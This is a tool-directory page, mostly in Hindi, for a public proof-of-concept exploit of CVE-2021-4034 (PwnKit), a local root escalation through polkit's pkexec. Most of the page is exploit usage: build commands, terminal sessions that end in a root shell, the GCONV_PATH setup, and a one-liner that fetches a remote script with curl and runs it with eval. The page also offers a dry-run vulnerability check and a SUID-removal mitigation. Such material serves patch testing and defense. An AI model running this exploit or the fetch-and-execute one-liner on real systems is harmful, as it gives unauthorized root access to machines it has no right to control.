Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/pol-ruiz/cve-2021-4034
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगबाइनरी शोषण
GitHubpol-ruiz/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 (PwnKit) के लिए एक्सप्लॉइट जो Linux सिस्टम पर रूट तक स्थानीय विशेषाधिकार वृद्धि प्राप्त करने के लिए polkit pkexec को लक्षित करता है। भेद्यता परीक्षण के लिए ड्राई-रन मोड शामिल है।

रिपॉजिटरी देखें
22 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-4034

Polkit विशेषाधिकार वृद्धि शोषण के लिए एक दिन

बस make, ./cve-2021-4034 चलाएँ और अपने रूट शेल का आनंद लें।

वास्तविक लेखकों द्वारा मूल एडवाइज़री यहाँ दी गई है।

PoC

यदि शोषण काम कर रहा है तो आपको तुरंत रूट शेल मिल जाएगा:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

अधिकांश सिस्टम पर polkit को अपडेट करने से यह शोषण पैच हो जाता है, इसलिए आपको उपयोग दिखेगा और प्रोग्राम बाहर निकल जाएगा:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

ड्राई रन

यदि आप शेल निष्पादित नहीं करना चाहते, बल्कि केवल यह जाँचना चाहते हैं कि सिस्टम असुरक्षित है या नहीं, तो dry-run टार्गेट को कंपाइल करें।

यदि प्रोग्राम "root" प्रिंट करके बाहर निकलता है, तो इसका मतलब है कि आपका सिस्टम इस शोषण के प्रति असुरक्षित है।

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

यदि आपका सिस्टम असुरक्षित नहीं है, तो यह एक त्रुटि प्रिंट करके बाहर निकल जाता है।

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

लिनक्स के लिए Polkit pkexec के बारे में

Polkit (पूर्व में PolicyKit) यूनिक्स-जैसे ऑपरेटिंग सिस्टम में सिस्टम-व्यापी विशेषाधिकारों को नियंत्रित करने के लिए एक घटक है। यह गैर-विशेषाधिकार प्राप्त प्रक्रियाओं को विशेषाधिकार प्राप्त प्रक्रियाओं के साथ संवाद करने का एक व्यवस्थित तरीका प्रदान करता है। pkexec कमांड के बाद निष्पादित किए जाने वाले कमांड (रूट अनुमति के साथ) का उपयोग करके उन्नत विशेषाधिकारों के साथ कमांड चलाने के लिए polkit का उपयोग करना भी संभव है।

एक-लाइनर कमांड्स

आप एक ही स्क्रिप्ट का उपयोग करके आसानी से सिस्टम का शोषण कर सकते हैं, जिसे इस कमांड से डाउनलोड और निष्पादित किया जा सकता है:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

शमन

यदि आपके ऑपरेटिंग सिस्टम के लिए कोई पैच उपलब्ध नहीं है, तो आप अस्थायी शमन के रूप में pkexec से SUID-बिट हटा सकते हैं।

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

तब शोषण विफल हो जाएगा, और यह शिकायत करेगा कि pkexec में setuid बिट सक्षम होना चाहिए।

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
टूल डाउनलोड करें